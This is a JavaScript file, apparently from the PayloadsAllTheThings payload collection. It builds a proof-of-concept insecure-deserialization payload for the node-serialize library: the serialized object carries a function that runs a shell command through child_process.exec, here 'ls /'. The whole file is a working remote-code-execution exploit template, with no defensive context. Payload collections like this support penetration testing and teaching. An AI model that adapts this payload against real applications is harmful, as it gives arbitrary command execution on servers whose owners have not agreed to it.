PayloadsAllTheThings/Insecure Deserialization/Files/node-serialize.js
2022-09-23 11:21:29 +02:00

5 lines
228 B
JavaScript

var y = {
rce : function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));